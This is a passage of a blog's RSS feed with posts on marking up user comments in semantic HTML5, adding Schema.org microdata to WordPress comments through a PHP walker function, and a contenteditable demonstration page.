<li><a href="https://web.archive.org/web/20220612170313/https://webcodeflow.com/hand-drawn-doodle-css/">Doodle CSS</a></li>
<li><a href="https://github.com/bryanbraun/poor-mans-styleguide">Poor Man's Styleguide</a></li>
<li><a href="https://stackoverflow.com/questions/14585101/old-paper-background-texture-with-just-css/63615485#63615485">Paper Texture Background</a></li>
<li><a href="https://fonts.google.com/specimen/Architects+Daughter">Handwritten body font</a> and <a href="https://www.jack-daw.com/fonts/">monospace font</a></li>
</ul>

<h2 id="download"><a href="https://shkspr.mobi/blog/2022/06/paper-prototype-css/#download">Download</a></h2>

<p>You can <a href="https://gitlab.com/edent/paper-prototype-css/-/tree/main">clone the repo</a> to get started. If you find it useful, please let me know. Pull Requests very welcome.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=42799&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2022/06/paper-prototype-css/feed/</wfw:commentRss>
			<slash:comments>11</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[How should user comments be marked up in HTML5?]]></title>
		<link>https://shkspr.mobi/blog/2022/05/how-should-user-comments-be-marked-up-in-html5/</link>
					<comments>https://shkspr.mobi/blog/2022/05/how-should-user-comments-be-marked-up-in-html5/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Wed, 04 May 2022 11:34:47 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[web]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=42446</guid>

					<description><![CDATA[This is quite the epitome of yak-shaving!  Suppose you have an article written in HTML. The basic layout might be something like:  &#60;body&#62;    &#60;main&#62;       &#60;article&#62;         The content of your article         ...   Pretty standard.  Now suppose you let users add comments to the article. I have two questions:   Where in the tree should they go? What HTML element should be used to group them?   It…]]></description>
										<content:encoded><![CDATA[<p>This is quite the <em>epitome</em> of yak-shaving!</p>

<p>Suppose you have an article written in HTML. The basic layout might be something like:</p>

<pre><code class="language-html">&lt;body&gt;
   &lt;main&gt;
      &lt;article&gt;
        The content of your article
        ...
</code></pre>

<p>Pretty standard.  Now suppose you let users add comments to the article. I have two questions:</p>

<ol>
<li>Where in the tree should they go?</li>
<li>What HTML element should be used to group them?</li>
</ol>

<p>It is, I think, a question where reasonable parties can justifiably come to distinctly different conclusions.</p>

<h2 id="where"><a href="https://shkspr.mobi/blog/2022/05/how-should-user-comments-be-marked-up-in-html5/#where">Where?</a></h2>

<p>Are comments a <em>part of</em> the article or are they <em>apart from</em> the article?</p>

<p>If you wrongly think that user-generated content is indivisible from the text of the article, then the answer is:</p>

<pre><code class="language-html">&lt;body&gt;
   &lt;main&gt;
      &lt;article&gt;
         The content of your article
         &lt;div&gt;
            Comments
</code></pre>

<p>If, however, you're fool enough to believe that commentary is separate from what is commented on, then you'll probably pick:</p>

<pre><code class="language-html">&lt;body&gt;
   &lt;main&gt;
      &lt;article&gt;
        The content of your article
      &lt;/article&gt;
      &lt;div&gt;
         Comments
</code></pre>

<p>Some idiots will insist that comments shouldn't even be <em>considered</em> next to the purity of the content of <a href="https://html.spec.whatwg.org/multipage/grouping-content.html#the-main-element"><code>&lt;main&gt;</code></a>. Hence:</p>

<pre><code class="language-html">&lt;body&gt;
   &lt;main&gt;
      &lt;article&gt;
        The content of your article
      &lt;/article&gt;
   &lt;/main&gt;
   &lt;div&gt;
      Comments
</code></pre>

<p>As ever, let us see what wisdom the HTML editors <i lang="la">passim</i> have given us.</p>

<blockquote><p>When article elements are nested, the inner article elements represent articles that are in principle related to the contents of the outer article. For instance, a blog entry on a site that accepts user-submitted comments could represent the comments as article elements nested within the article element for the blog entry.</p>

<p><a href="https://html.spec.whatwg.org/multipage/sections.html#the-article-element">4.3.2 The article element</a></p></blockquote>

<p>Ah! This is evidence that comments should be <em>inside</em> the article itself.</p>

<p>The code they give is (simplified):</p>

<pre><code class="language-html">&lt;article&gt;
   &lt;h1&gt;Page Heading&lt;/h1&gt;
   &lt;p&gt;...&lt;/p&gt;
   &lt;section&gt;
      &lt;h1&gt;Comments&lt;/h1&gt;
      &lt;article&gt;
         &lt;p&gt;Comment text&lt;/p&gt;
     &lt;/article&gt;
</code></pre>

<p>But, that's not the whole story!</p>

<blockquote><p>A section forms part of something else. An article is its own thing. But how does one know which is which? Mostly the real answer is "it depends on author intent".</p>

<p>[…]</p>

<p>A comment on an article is not part of the article on which it is commenting, therefore it is its own article.</p>

<p><a href="https://html.spec.whatwg.org/multipage/sections.html#article-or-section">4.3.12.1 Article or section?</a></p></blockquote>

<p>Although that section is <a href="https://developer.mozilla.org/en-US/docs/Glossary/non-normative">non-normative</a>, I think it is instructive.</p>

<p>The article is its own thing. A comment may <em>relate</em> to an article, but it is not <em>part</em> of the article.  Therefore, it's perfectly reasonable to place the comments <em>outside</em> the original article.</p>

<h2 id="what"><a href="https://shkspr.mobi/blog/2022/05/how-should-user-comments-be-marked-up-in-html5/#what">What?</a></h2>

<p>Ideally, there would be a <code>&lt;comment&gt;</code> element. There isn't.</p>

<blockquote class="social-embed" id="social-embed-192582201978781697" lang="en" itemscope="" itemtype="https://schema.org/SocialMediaPosting"><blockquote class="social-embed" id="social-embed-192581338291908608" lang="en" itemscope="" itemtype="https://schema.org/SocialMediaPosting"><header class="social-embed-header" itemprop="author" itemscope="" itemtype="https://schema.org/Person"><a href="https://twitter.com/brucel" class="social-embed-user" itemprop="url"><img class="social-embed-avatar social-embed-avatar-circle" src="data:image/webp;base64,UklGRuYBAABXRUJQVlA4INoBAACwCgCdASowADAAPrVSn0snJSKhqrqsAOAWiUAUu/5I4/b4JHWL+CnIb7u0NlOLqHTvVU0zBXtwfo/sCmVnousXbJMipVAlQUYpcwSxlkyNW7vio6Lbvl/J+KZfcNoAAP79DTnTddyglkAZ/oDCslpgciQlUcnQk/XLbBjivDGyCCjXQkCJUUwfJ4DcUbA3tjiE7T+4SsbHBOiP2k9g9YEC7Izug2L6fqC/A4uQAvUey+P1a5cLwq8sCHq6X9iaCZMpkUb4dQHxgZERCn6si7TuObEIr0I2DfMMXXyhei5HYanL9uqO4AWmkVcu+TMWihZxwMKmK8gBfGrlihzF5y8KHqrNraKCuDQHJw9hdY3CVihSvAJuM7p8kCN7/rZRpgm8YhCU6Zb7rgqjoF12Pk3HcKtytueZ/CGNJ/hW8aexAVbc8gNDFCXf/lZFSisHYIPUU5QIFOUjqjKyLfMr+UgWwI4aTcAnm2ji1Hl9jEBCBcQsXkBaS8gT4B8P3ShgNWOmiAx/hikCK/7v2jbWf2VDKSqT1NTOHl6kSGW9BeX9Btx+R5cJMx38gSDZpd8Rfbz6zXPObexPGJ1bFuNez/EFrPn8Xvbu/UvZWv8NMG06HNxdTcgZLjd4AAA=" alt="" itemprop="image"><div class="social-embed-user-names"><p class="social-embed-user-names-name" itemprop="name">Bruce Lawson</p>@brucel</div></a><img class="social-embed-logo" alt="Twitter" src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0Aaria-label%3D%22Twitter%22%20role%3D%22img%22%0AviewBox%3D%220%200%20512%20512%22%3E%3Cpath%0Ad%3D%22m0%200H512V512H0%22%0Afill%3D%22%23fff%22%2F%3E%3Cpath%20fill%3D%22%231d9bf0%22%20d%3D%22m458%20140q-23%2010-45%2012%2025-15%2034-43-24%2014-50%2019a79%2079%200%2000-135%2072q-101-7-163-83a80%2080%200%200024%20106q-17%200-36-10s-3%2062%2064%2079q-19%205-36%201s15%2053%2074%2055q-50%2040-117%2033a224%20224%200%2000346-200q23-16%2040-41%22%2F%3E%3C%2Fsvg%3E"></header><section class="social-embed-text" itemprop="articleBody">The &lt;dialog&gt; element is added to <a href="https://twitter.com/hashtag/html5">#html5</a> <a href="http://dev.w3.org/html5/spec/commands.html#the-dialog-element">dev.w3.org/html5/spec/com…</a> I'm glad to see it (accessible dialogue boxes!) even if it is badly mis-spelled</section><hr class="social-embed-hr"><footer class="social-embed-footer"><a href="https://twitter.com/brucel/status/192581338291908608"><span aria-label="26 likes" class="social-embed-meta">❤️ 26</span><span aria-label="0 replies" class="social-embed-meta">💬 0</span><span aria-label="70 reposts" class="social-embed-meta">🔁 70</span><time datetime="2012-04-18T11:52:23.000Z" itemprop="datePublished">11:52 - Wed 18 April 2012</time></a></footer></blockquote><header class="social-embed-header" itemprop="author" itemscope="" itemtype="https://schema.org/Person"><a href="https://twitter.com/edent" class="social-embed-user" itemprop="url"><img class="social-embed-avatar social-embed-avatar-circle" src="data:image/webp;base64,UklGRkgBAABXRUJQVlA4IDwBAACQCACdASowADAAPrVQn0ynJCKiJyto4BaJaQAIIsx4Au9dhDqVA1i1RoRTO7nbdyy03nM5FhvV62goUj37tuxqpfpPeTBZvrJ78w0qAAD+/hVyFHvYXIrMCjny0z7wqsB9/QE08xls/AQdXJFX0adG9lISsm6kV96J5FINBFXzHwfzMCr4N6r3z5/Aa/wfEoVGX3H976she3jyS8RqJv7Jw7bOxoTSPlu4gNbfXYZ9TnbdQ0MNnMObyaRQLIu556jIj03zfJrVgqRM8GPwRoWb1M9AfzFe6Mtg13uEIqrTHmiuBpH+bTVB5EEQ3uby0C//XOAPJOFv4QV8RZDPQd517Khyba8Jlr97j2kIBJD9K3mbOHSHiQDasj6Y3forATbIg4QZHxWnCeqqMkVYfUAivuL0L/68mMnagAAA" alt="" itemprop="image"><div class="social-embed-user-names"><p class="social-embed-user-names-name" itemprop="name">Terence Eden is on Mastodon</p>@edent</div></a><img class="social-embed-logo" alt="Twitter" src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0Aaria-label%3D%22Twitter%22%20role%3D%22img%22%0AviewBox%3D%220%200%20512%20512%22%3E%3Cpath%0Ad%3D%22m0%200H512V512H0%22%0Afill%3D%22%23fff%22%2F%3E%3Cpath%20fill%3D%22%231d9bf0%22%20d%3D%22m458%20140q-23%2010-45%2012%2025-15%2034-43-24%2014-50%2019a79%2079%200%2000-135%2072q-101-7-163-83a80%2080%200%200024%20106q-17%200-36-10s-3%2062%2064%2079q-19%205-36%201s15%2053%2074%2055q-50%2040-117%2033a224%20224%200%2000346-200q23-16%2040-41%22%2F%3E%3C%2Fsvg%3E"></header><section class="social-embed-text" itemprop="articleBody"><small class="social-embed-reply"><a href="https://twitter.com/brucel/status/192581338291908608">Replying to @brucel</a></small>Why the hell isn't there a &lt;comment&gt; element in <a href="https://twitter.com/hashtag/html5">#html5</a>? <a href="https://twitter.com/brucel">@brucel</a>? Who's arse do I need to ki[ss|ck] to make this happen?</section><hr class="social-embed-hr"><footer class="social-embed-footer"><a href="https://twitter.com/edent/status/192582201978781697"><span aria-label="0 likes" class="social-embed-meta">❤️ 0</span><span aria-label="2 replies" class="social-embed-meta">💬 2</span><span aria-label="0 reposts" class="social-embed-meta">🔁 0</span><time datetime="2012-04-18T11:55:49.000Z" itemprop="datePublished">11:55 - Wed 18 April 2012</time></a></footer></blockquote>

<p>As shown in the above code example, comments can be enclosed in a <code>&lt;section&gt;</code> element. And each comment itself can be wrapped in an <code>&lt;article&gt;</code>.</p>

<blockquote><p>article
<br>
A complete, or self-contained, composition in a document, page, application, or site […] This could be a forum post, […] a blog entry, a user-submitted comment […] or any other independent item of content.</p>

<p><a href="https://html.spec.whatwg.org/multipage/sections.html#usage-summary-2">Article Usage Summary</a></p></blockquote>

<p>I had thought the <a href="https://html.spec.whatwg.org/multipage/sections.html#the-aside-element"><code>&lt;aside&gt;</code></a> element might also be suitable. It represents:</p>

<blockquote><p>content that is tangentially related to the content around the aside element, and which could be considered separate from that content.</p></blockquote>

<p>Are comments tangentially related? Not really. And comments don't generally appear <em>inside</em> the thing they're commenting on. So I discarded that idea.</p>

<h2 id="why-is-this-important"><a href="https://shkspr.mobi/blog/2022/05/how-should-user-comments-be-marked-up-in-html5/#why-is-this-important">Why is this important?</a></h2>

<p>It isn't, really. Good semantic metadata should make clear what is content and what is commentary.</p>

<p>But not everyone consumes metadata. Bots, scrapers, and search engines should have a sensible way of heuristically determining what is relevant to them based on the markup of the document.  Unless we get a new <code>&lt;comment&gt;</code> element, we need to provide hints to user-agents about exactly what we mean.</p>

<p>I took an extremely scientific poll on Twitter to see if my acolytes agreed with me.</p>

<blockquote class="social-embed" id="social-embed-1515328377032523778" lang="en" itemscope="" itemtype="https://schema.org/SocialMediaPosting"><blockquote class="social-embed" id="social-embed-1515328374482382856" lang="en" itemscope="" itemtype="https://schema.org/SocialMediaPosting"><header class="social-embed-header" itemprop="author" itemscope="" itemtype="https://schema.org/Person"><a href="https://twitter.com/edent" class="social-embed-user" itemprop="url"><img class="social-embed-avatar social-embed-avatar-circle" src="data:image/webp;base64,UklGRkgBAABXRUJQVlA4IDwBAACQCACdASowADAAPrVQn0ynJCKiJyto4BaJaQAIIsx4Au9dhDqVA1i1RoRTO7nbdyy03nM5FhvV62goUj37tuxqpfpPeTBZvrJ78w0qAAD+/hVyFHvYXIrMCjny0z7wqsB9/QE08xls/AQdXJFX0adG9lISsm6kV96J5FINBFXzHwfzMCr4N6r3z5/Aa/wfEoVGX3H976she3jyS8RqJv7Jw7bOxoTSPlu4gNbfXYZ9TnbdQ0MNnMObyaRQLIu556jIj03zfJrVgqRM8GPwRoWb1M9AfzFe6Mtg13uEIqrTHmiuBpH+bTVB5EEQ3uby0C//XOAPJOFv4QV8RZDPQd517Khyba8Jlr97j2kIBJD9K3mbOHSHiQDasj6Y3forATbIg4QZHxWnCeqqMkVYfUAivuL0L/68mMnagAAA" alt="" itemprop="image"><div class="social-embed-user-names"><p class="social-embed-user-names-name" itemprop="name">Terence Eden is on Mastodon</p>@edent</div></a><img class="social-embed-logo" alt="Twitter" src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0Aaria-label%3D%22Twitter%22%20role%3D%22img%22%0AviewBox%3D%220%200%20512%20512%22%3E%3Cpath%0Ad%3D%22m0%200H512V512H0%22%0Afill%3D%22%23fff%22%2F%3E%3Cpath%20fill%3D%22%231d9bf0%22%20d%3D%22m458%20140q-23%2010-45%2012%2025-15%2034-43-24%2014-50%2019a79%2079%200%2000-135%2072q-101-7-163-83a80%2080%200%200024%20106q-17%200-36-10s-3%2062%2064%2079q-19%205-36%201s15%2053%2074%2055q-50%2040-117%2033a224%20224%200%2000346-200q23-16%2040-41%22%2F%3E%3C%2Fsvg%3E"></header><section class="social-embed-text" itemprop="articleBody">A two part question about semantic HTML.<br><br>1) What's the "correct" HTML elements for user generated comments?<br>Why?<hr class="social-embed-hr"><label for="poll_1_count">&lt;aside&gt;: (42)</label><br><meter class="social-embed-meter" id="poll_1_count" min="0" max="100" low="33" high="66" value="27.8">42</meter><br><label for="poll_2_count">&lt;section&gt;: (64)</label><br><meter class="social-embed-meter" id="poll_2_count" min="0" max="100" low="33" high="66" value="42.4">64</meter><br><label for="poll_3_count">&lt;div&gt;: (30)</label><br><meter class="social-embed-meter" id="poll_3_count" min="0" max="100" low="33" high="66" value="19.9">30</meter><br><label for="poll_4_count">&lt;bgsound&gt;: (15)</label><br><meter class="social-embed-meter" id="poll_4_count" min="0" max="100" low="33" high="66" value="9.9">15</meter></section><hr class="social-embed-hr"><footer class="social-embed-footer"><a href="https://twitter.com/edent/status/1515328374482382856"><span aria-label="1 likes" class="social-embed-meta">❤️ 1</span><span aria-label="0 replies" class="social-embed-meta">💬 0</span><span aria-label="1 reposts" class="social-embed-meta">🔁 1</span><time datetime="2022-04-16T13:56:52.000Z" itemprop="datePublished">13:56 - Sat 16 April 2022</time></a></footer></blockquote><header class="social-embed-header" itemprop="author" itemscope="" itemtype="https://schema.org/Person"><a href="https://twitter.com/edent" class="social-embed-user" itemprop="url"><img class="social-embed-avatar social-embed-avatar-circle" src="data:image/webp;base64,UklGRkgBAABXRUJQVlA4IDwBAACQCACdASowADAAPrVQn0ynJCKiJyto4BaJaQAIIsx4Au9dhDqVA1i1RoRTO7nbdyy03nM5FhvV62goUj37tuxqpfpPeTBZvrJ78w0qAAD+/hVyFHvYXIrMCjny0z7wqsB9/QE08xls/AQdXJFX0adG9lISsm6kV96J5FINBFXzHwfzMCr4N6r3z5/Aa/wfEoVGX3H976she3jyS8RqJv7Jw7bOxoTSPlu4gNbfXYZ9TnbdQ0MNnMObyaRQLIu556jIj03zfJrVgqRM8GPwRoWb1M9AfzFe6Mtg13uEIqrTHmiuBpH+bTVB5EEQ3uby0C//XOAPJOFv4QV8RZDPQd517Khyba8Jlr97j2kIBJD9K3mbOHSHiQDasj6Y3forATbIg4QZHxWnCeqqMkVYfUAivuL0L/68mMnagAAA" alt="" itemprop="image"><div class="social-embed-user-names"><p class="social-embed-user-names-name" itemprop="name">Terence Eden is on Mastodon</p>@edent</div></a><img class="social-embed-logo" alt="Twitter" src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0Aaria-label%3D%22Twitter%22%20role%3D%22img%22%0AviewBox%3D%220%200%20512%20512%22%3E%3Cpath%0Ad%3D%22m0%200H512V512H0%22%0Afill%3D%22%23fff%22%2F%3E%3Cpath%20fill%3D%22%231d9bf0%22%20d%3D%22m458%20140q-23%2010-45%2012%2025-15%2034-43-24%2014-50%2019a79%2079%200%2000-135%2072q-101-7-163-83a80%2080%200%200024%20106q-17%200-36-10s-3%2062%2064%2079q-19%205-36%201s15%2053%2074%2055q-50%2040-117%2033a224%20224%200%2000346-200q23-16%2040-41%22%2F%3E%3C%2Fsvg%3E"></header><section class="social-embed-text" itemprop="articleBody"><small class="social-embed-reply"><a href="https://twitter.com/edent/status/1515328374482382856">Replying to @edent</a></small>Continuing:<br>2) What should the document tree look like?<br>Why?<br>Currently, I have<br>&lt;body&gt;<br> &lt;main&gt;<br>   &lt;article&gt;<br>   &lt;/article&gt;<br>   &lt;~comment~&gt;<br>But should the comments be inside the article? Or perhaps outside the main?<hr class="social-embed-hr"><label for="poll_1_count">&lt;article&gt;&lt;~comment~&gt;&lt;/art: (16)</label><br><meter class="social-embed-meter" id="poll_1_count" min="0" max="100" low="33" high="66" value="24.6">16</meter><br><label for="poll_2_count">&lt;/article&gt;&lt;~comment~&gt;: (36)</label><br><meter class="social-embed-meter" id="poll_2_count" min="0" max="100" low="33" high="66" value="55.4">36</meter><br><label for="poll_3_count">&lt;/main&gt;&lt;comment&gt;: (4)</label><br><meter class="social-embed-meter" id="poll_3_count" min="0" max="100" low="33" high="66" value="6.2">4</meter><br><label for="poll_4_count">&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;: (9)</label><br><meter class="social-embed-meter" id="poll_4_count" min="0" max="100" low="33" high="66" value="13.8">9</meter></section><hr class="social-embed-hr"><footer class="social-embed-footer"><a href="https://twitter.com/edent/status/1515328377032523778"><span aria-label="0 likes" class="social-embed-meta">❤️ 0</span><span aria-label="5 replies" class="social-embed-meta">💬 5</span><span aria-label="0 reposts" class="social-embed-meta">🔁 0</span><time datetime="2022-04-16T13:56:53.000Z" itemprop="datePublished">13:56 - Sat 16 April 2022</time></a></footer></blockquote>

<p>So, <code>&lt;section&gt;</code> wrapped around a group of <code>&lt;article&gt;</code>s, all of which are <em>outside</em> the <code>&lt;article&gt;</code> being discussed seems to me to be a sensible way to demarcate content from commentary.  Leaving us with:</p>

<pre><code class="language-html">&lt;body&gt;
   &lt;main&gt;
      &lt;article&gt;
        The content of your article
      &lt;/article&gt;
      &lt;section&gt;
         &lt;h1&gt;Comments&lt;/h1&gt;
         &lt;article&gt;
            Comment
         &lt;/article&gt;
         &lt;article&gt;
            Comment
         &lt;/article&gt;
      &lt;/section&gt;
   &lt;/main&gt;
&lt;/body&gt;
</code></pre>

<p>Do feel free to tell me I'm wrong in the comments. The box is down there, somewhere…</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=42446&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2022/05/how-should-user-comments-be-marked-up-in-html5/feed/</wfw:commentRss>
			<slash:comments>5</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Semantic Comments for WordPress]]></title>
		<link>https://shkspr.mobi/blog/2022/04/semantic-comments-for-wordpress/</link>
					<comments>https://shkspr.mobi/blog/2022/04/semantic-comments-for-wordpress/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Thu, 28 Apr 2022 11:34:13 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[meta]]></category>
		<category><![CDATA[metadata]]></category>
		<category><![CDATA[schema.org]]></category>
		<category><![CDATA[semantic web]]></category>
		<category><![CDATA[WordPress]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=42412</guid>

					<description><![CDATA[As regular readers will know, I love adding Semantic things to my blog.  The standard WordPress comments HTML isn&#039;t very semantic - so I thought I&#039;d change that. Here&#039;s some code which you can add to your blog&#039;s theme - an an explanation of how it works.  The aim is to end up with some HTML which looks like this (edited for brevity):  &#60;li itemscope itemtype=&#34;https://schema.org/Comment&#34;…]]></description>
										<content:encoded><![CDATA[<p>As regular readers will know, I love <a href="https://shkspr.mobi/blog/2020/07/adding-semantic-reviews-rich-snippets-to-your-wordpress-site/">adding Semantic things to my blog</a>.</p>

<p>The standard WordPress comments HTML isn't very semantic - so I thought I'd change that. Here's some code which you can add to your blog's theme - an an explanation of how it works.</p>

<p>The aim is to end up with some HTML which looks like this (edited for brevity):</p>

<pre><code class="language-HTML5">&lt;li itemscope itemtype="https://schema.org/Comment" itemid="#246827"&gt;
    &lt;article&gt;
        &lt;time datetime="2022-04-12T10:22:32+01:00" itemprop="dateCreated"&gt;
            &lt;a href="https://shkspr.mobi/blog/2022/04/semantic-comments-for-wordpress/#comment-246827" itemprop='url'&gt;22-04-12 10:22&lt;/a&gt;
        &lt;/time&gt;
        &lt;div itemprop="https://schema.org/author" itemscope itemtype="https://schema.org/Person"&gt;
            &lt;img itemprop="image" alt='' src='logo.jpg' height='64' width='64'/&gt;
            &lt;span itemprop="name"&gt;
                &lt;a itemprop="url" href="https://twitter.com/example"&gt;Commenter's Name&lt;/a&gt;&lt;/span&gt; says:
        &lt;/div&gt;
        &lt;div itemprop="text"&gt;This is the text of my comment&lt;/code&gt;&lt;/div&gt;
    &lt;/article&gt;
&lt;/li&gt;
</code></pre>

<p>Which will be interpreted as:
<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/04/Schema-Markup-validator.png" alt="A schema tree showing all the properties." width="916" height="310" class="aligncenter size-full wp-image-42415"></p>

<p>This adds <code>&lt;time&gt;</code> elements as well as Schema.org microdata.</p>

<h2 id="howto"><a href="https://shkspr.mobi/blog/2022/04/semantic-comments-for-wordpress/#howto">Howto</a></h2>

<p>In <code>comments.php</code> you'll see something like this:</p>

<pre><code class="language-php">&lt;ol class="comment-list"&gt;
    &lt;?php
        wp_list_comments( array(
            'style'       =&gt; 'ol',
            'short_ping'  =&gt; true,
            'avatar_size' =&gt; 64,
        ) );
    ?&gt;
&lt;/ol&gt;
</code></pre>

<p>You need to add a new <code>callback</code>. In this case, I've called it <code>my_comments_walker</code>:</p>

<pre><code class="language-php">&lt;ol class="comment-list"&gt;
    &lt;?php
        wp_list_comments( array(
            'style'       =&gt; 'ol',
            'short_ping'  =&gt; true,
            'avatar_size' =&gt; 64,
            'callback' =&gt; 'my_comments_walker',
        ) );
    ?&gt;
&lt;/ol&gt;
</code></pre>

<p>You can read more about <a href="https://developer.wordpress.org/reference/classes/walker/">WordPress Walkers on their documentation page</a>.</p>

<p>Now that's done, you need to create a function in your <code>functions.php</code> file.  I added this to the end of my file:</p>

<pre><code class="language-php">function my_comments_walker() {

    //  Basic comment data
    $comment_id          = get_comment_id();
    $comment             = get_comment( $comment_id );

    //  Date the comment was submitted
    $comment_date        = get_comment_date( "c" );
    //  In slightly more human-readable format
    $comment_date_human  = get_comment_date( "y-m-d H:i" );

    //  Author Details
    $comment_author      = get_comment_author();

    //  Author's URl if they've added one
    $comment_author_url  = get_comment_author_url();

    //  If there's an Author URl, link it
    if ($comment_author_url != null) {
        $comment_author_name = "&lt;a itemprop='url' href='{$comment_author_url}' rel='external nofollow ugc' class='url'&gt;{$comment_author}&lt;/a&gt;";
    } else {
        $comment_author_name = "{$comment_author}";
    }

    //  Provide a link to the comment anchor
    $comment_url_link = "&lt;a href="https://shkspr.mobi/blog/2022/04/semantic-comments-for-wordpress/#comment-$comment_id" itemprop='url'&gt;{$comment_date_human}&lt;/a&gt;";

    //  Author's Avatar based on ID
    //  As per https://developer.wordpress.org/reference/functions/get_avatar/ both alt &amp; default must be set
    $gravatar            = get_avatar( $comment, 64, "", "", array('extra_attr' =&gt; 'itemprop="image"') );

    //  Comment needs newlines and links added
    $comment_text        = apply_filters( 'comment_text', get_comment_text(), $comment);


    //  The comment may have various classes. They are stored as an array
    $comment_classes     = get_comment_class();
    $comment_classes_text = "";
    foreach( $comment_classes as $class ) {
        $comment_classes_text .= $class . " ";
    }
    $comment_classes_text = trim($comment_classes_text);

    //  Link to open the reply box
    $comment_reply_link = get_comment_reply_link( [
                    'depth'     =&gt; 20,
                    'max_depth' =&gt; 100,
                    'before'    =&gt; '&lt;div class="reply"&gt;',
                    'after'     =&gt; '&lt;/div&gt;'
            ] );

    //  Write the comment HTML. No need for a closing &lt;/li&gt; as WP handles that.
    echo &lt;&lt;&lt;EOT
    &lt;li id="comment-$comment_id" itemscope itemtype="https://schema.org/Comment" itemid="#comment-$comment_id" class="$comment_classes_text"&gt;
        &lt;article class="comment-body" id="div-comment-$comment_id"&gt;
            &lt;time datetime="$comment_date" class="comment-meta commentmetadata" itemprop="dateCreated"&gt;
                $comment_url_link
            &lt;/time&gt;
            &lt;div class="comment-author vcard" itemprop="https://schema.org/author" itemscope itemtype="https://schema.org/Person"&gt;
                $gravatar
                &lt;span class="fn" itemprop="name"&gt;$comment_author_name&lt;/span&gt; &lt;span class="says"&gt;says:&lt;/span&gt;
            &lt;/div&gt;
            &lt;div itemprop="text" class="comment-text"&gt;$comment_text&lt;/div&gt;
            $comment_reply_link
        &lt;/article&gt;
    EOT;
}
</code></pre>

<p>There are a few extra classes and spans which I use. You can remove them if you like.</p>

<p>And that's it. All your comments will have individual semantic metadata. If you think anything else should be included, please let me know.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=42412&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2022/04/semantic-comments-for-wordpress/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Edit this blog post!]]></title>
		<link>https://shkspr.mobi/blog/2022/01/edit-this-blog-post/</link>
					<comments>https://shkspr.mobi/blog/2022/01/edit-this-blog-post/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Fri, 28 Jan 2022 12:34:55 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[HTML5]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=41721</guid>

					<description><![CDATA[This is a regular HTML page. But if you click or tap on the text, you will be able to edit it!HTML is magic! This isn&#039;t a fancy styled &#60;textarea&#62;, it&#039;s a &#60;div&#62; element which uses the contenteditable global attribute.There are some nifty features - depending on your browser.You canadd more bulletsby pressing enterHow 🆒 is that?!Same goesfor numbered listsclick here and type a new lineSplelcheck is …]]></description>
										<content:encoded><![CDATA[<div><div contenteditable="" spellcheck="true" id="edit"><p>This is a regular HTML page. But if you click or tap on the text, you will be able to edit it!</p><strong>HTML is magic!</strong> <p>This isn't a fancy styled <code>&lt;textarea&gt;</code>, it's a <code>&lt;div&gt;</code> element which uses the <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/contenteditable"><code>contenteditable</code></a> global attribute.</p><p>There are some nifty features - depending on your browser.</p><ul><li>You can</li><li>add more bullets</li><li>by pressing enter</li></ul><h3 id="how-%f0%9f%86%92-is-that"><a href="https://shkspr.mobi/blog/2022/01/edit-this-blog-post/#how-%f0%9f%86%92-is-that">How 🆒 is that?!</a></h3><ol><li>Same goes</li><li>for numbered lists</li><li>click here and type a new line</li></ol><p>Splelcheck is enabled using <code>spellcheck="true"</code> so ya myte cee som wigggly rred linees underr sertin wordz.</p><input type="checkbox" id="scales" name="scales" checked=""><label for="scales">You can even edit form elements</label> <button>And even button text!</button><pre>Pre-formatted text is also editable
Just tap in here and type away.
Fun!</pre><br><table><thead><tr><th>Table</th><th>Headings</th></tr></thead><tbody><tr><td>You can add text</td><td>into tables</td></tr><tr><td>But browsers don't</td><td>let you add new rows</td></tr></tbody></table><p>But, there are some limitations. <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/contenteditable">You might not be able to visit this link</a>; the browser doesn't know if your interaction event is to follow or edit.</p><p>You can't add new elements. If you type <code>&lt;h1&gt;</code> no new heading appears. You also can't indent bullet points.</p><p>The spell check will depend on which dictionaries you have installed.</p><p>You probably can't save the changes you've made. I mean, I guess you could copy and paste them - but there's no native way to download what you've written.</p><p>Global attributes can be applied to <em>any</em> HTML5 element! Obviously, that's a bit nonsensical when applied to media elements like <code>&lt;img&gt;</code>, <code>&lt;video&gt;</code>, etc.</p><p>But you should be able to cut, copy, and paste this image 